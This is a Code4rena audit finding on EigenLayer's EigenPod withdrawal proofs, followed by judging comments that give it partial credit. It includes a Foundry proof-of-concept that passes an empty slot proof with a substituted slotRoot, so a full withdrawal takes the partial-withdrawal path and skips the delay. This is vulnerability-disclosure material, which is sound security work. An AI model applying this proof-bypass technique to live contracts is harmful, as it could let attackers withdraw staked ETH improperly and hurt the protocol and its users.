Platform: Code4rena
Start Date: 27/04/2023
Pot Size: $90,500 USDC
Total HM: 4
Participants: 43
Period: 7 days
Judge: GalloDaSballo
Id: 233
League: ETH
Rank: 3/43
Findings: 1
Award: $5,031.50
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: volodya, windowhan001
5031.5008 USDC - $5,031.50
https://github.com/code-423n4/2023-04-eigenlayer/blob/5e4872358cd2bda1936c29f460ece2308af4def6/src/contracts/pods/EigenPod.sol#L340-L358 https://github.com/code-423n4/2023-04-eigenlayer/blob/5e4872358cd2bda1936c29f460ece2308af4def6/src/contracts/libraries/BeaconChainProofs.sol#L245-L294
Below is a portion of the verifyAndProcessWithdrawal function.
// Verifying the withdrawal as well as the slot BeaconChainProofs.verifyWithdrawalProofs(beaconStateRoot, withdrawalProofs, withdrawalFields); // Verifying the validator fields, specifically the withdrawable epoch BeaconChainProofs.verifyValidatorFields(validatorIndex, beaconStateRoot, validatorFieldsProof, validatorFields); uint64 withdrawalAmountGwei = Endian.fromLittleEndianUint64(withdrawalFields[BeaconChainProofs.WITHDRAWAL_VALIDATOR_AMOUNT_INDEX]); //check if the withdrawal occured after mostRecentWithdrawalBlockNumber uint64 slot = Endian.fromLittleEndianUint64(withdrawalProofs.slotRoot); /** * if the validator's withdrawable epoch is less than or equal to the slot's epoch, then the validator has fully withdrawn because * a full withdrawal is only processable after the withdrawable epoch has passed. */ // reference: uint64 withdrawableEpoch = Endian.fromLittleEndianUint64(validatorFields[BeaconChainProofs.VALIDATOR_WITHDRAWABLE_EPOCH_INDEX]); if (Endian.fromLittleEndianUint64(validatorFields[BeaconChainProofs.VALIDATOR_WITHDRAWABLE_EPOCH_INDEX]) <= slot/BeaconChainProofs.SLOTS_PER_EPOCH) { _processFullWithdrawal(withdrawalAmountGwei, validatorIndex, beaconChainETHStrategyIndex, podOwner, validatorStatus[validatorIndex]); } else { _processPartialWithdrawal(slot, withdrawalAmountGwei, validatorIndex, podOwner); }
withdrawalProofs is used once as a parameter to the verifyWithdrawalProofs function, and withdrawalProofs.slot is a value that can determine whether to run the _processFullWithdrawal or _processPartialWithdrawal function.
Consider the fullWithdrawalProof.json given as test data.
"slotRoot": "0xd6a8000000000000000000000000000000000000000000000000000000000000", "blockHeaderRoot": "0x180e63f75d01ca01a056dfc42dc3a30d0775e1da8e51001fbb2a3d68d96c5f14", // changed slotRoot "ValidatorFields": [ "0x2c58c7f513dab2de353f008ddaf054749e80709b8ec1f397011773c7b29cd950", "0x01000000000000000000000085a0c86944b1d7e1119b7c93ad2b771480561ae3", "0x0000000000000000000000000000000000000000000000000000000000000000", "0x0000000000000000000000000000000000000000000000000000000000000000", "0xb301000000000000000000000000000000000000000000000000000000000000", "0x0c02000000000000000000000000000000000000000000000000000000000000", "0x6603000000000000000000000000000000000000000000000000000000000000", "0x6604000000000000000000000000000000000000000000000000000000000000" // validatorFields[BeaconChainProofs.VALIDATOR_WITHDRAWABLE_EPOCH_INDEX] ],
Based on the test data above, originally slotRoot/BeaconChainProofs.SLOTS_PER_EPOCH should be greater than validatorFields[BeaconChainProofs.VALIDATOR_WITHHDRAWABLE_EPOCH_INDEX] and the _processFullWithdrawal function should be executed. However, with the ability to manipulate the slotRoot, the _processPartialWithdrawal function can be executed, which means that ETH can be withdrawn immediately without any latency, even if it negatively affects the middleware.
I'm sorry for the lack of explanation, I was just looking for a vulnerability and writing a report while I was nearing the end of my time. If you need a detailed explanation, please call windowhan001 in the eigenlayer contest channel.
function testFullWithdrawalProof() public { setJSON("./src/test/test-data/fullWithdrawalProof.json"); BeaconChainProofs.WithdrawalProofs memory proofs = _getWithdrawalProof(); withdrawalFields = getWithdrawalFields(); validatorFields = getValidatorFields(); Relayer relay = new Relayer(); bytes32 beaconStateRoot = getBeaconStateRoot(); relay.verifyWithdrawalProofs(beaconStateRoot, proofs, withdrawalFields); } ... function _getWithdrawalProof() internal returns(BeaconChainProofs.WithdrawalProofs memory) { //make initial deposit cheats.startPrank(podOwner); eigenPodManager.stake{value: stakeAmount}(pubkey, signature, depositDataRoot); cheats.stopPrank(); { bytes32 beaconStateRoot = getBeaconStateRoot(); //set beaconStateRoot beaconChainOracle.setBeaconChainStateRoot(beaconStateRoot); bytes32 blockHeaderRoot = getBlockHeaderRoot(); bytes32 blockBodyRoot = getBlockBodyRoot(); bytes32 slotRoot = getBlockHeaderRoot(); // Changed!!!! bytes32 blockNumberRoot = getBlockNumberRoot(); bytes32 executionPayloadRoot = getExecutionPayloadRoot(); uint256 withdrawalIndex = getWithdrawalIndex(); uint256 blockHeaderRootIndex = getBlockHeaderRootIndex(); BeaconChainProofs.WithdrawalProofs memory proofs = BeaconChainProofs.WithdrawalProofs( abi.encodePacked(getBlockHeaderProof()), abi.encodePacked(getWithdrawalProof()), abi.encodePacked(getSlotProof()), abi.encodePacked(getExecutionPayloadProof()), abi.encodePacked(getBlockNumberProof()), uint64(blockHeaderRootIndex), uint64(withdrawalIndex), blockHeaderRoot, blockBodyRoot, slotRoot, blockNumberRoot, executionPayloadRoot ); return proofs; } } ... function getSlotProof() public returns(bytes32[] memory){ // Changed!!! //for (uint i = 0; i < 3; i++) { // prefix = string.concat(".SlotProof[", string.concat(vm.toString(i), "]")); // slotProof[i] = (stdJson.readBytes32(proofConfigJson, prefix)); //} bytes32[] memory emptyArray = new bytes32[](0); return emptyArray; }
Manual Audit
Context
#0 - c4-pre-sort
2023-05-09T13:25:22Z
0xSorryNotSorry marked the issue as primary issue
#1 - c4-sponsor
2023-05-12T00:10:27Z
Sidu28 marked the issue as sponsor disputed
#2 - Sidu28
2023-05-12T00:29:24Z
No method to manipulate the slot root was supplied as part of this report. It is checked against.
#3 - c4-judge
2023-06-01T11:35:04Z
GalloDaSballo marked the issue as unsatisfactory: Insufficient proof
#4 - GalloDaSballo
2023-06-01T11:35:12Z
Asking Warden to add more proof, closing in the meantime
#5 - c4-judge
2023-06-01T15:08:09Z
GalloDaSballo marked the issue as duplicate of #388
#6 - c4-judge
2023-06-01T15:08:20Z
GalloDaSballo marked the issue as partial-50
#7 - GalloDaSballo
2023-06-01T15:08:51Z
The warden forgot to say that you can pass an empty proof to pass the validation, but they did it in the POC
Awarding 50% because the finding was "saved" as a dup as the contents of this report alone were too obtuse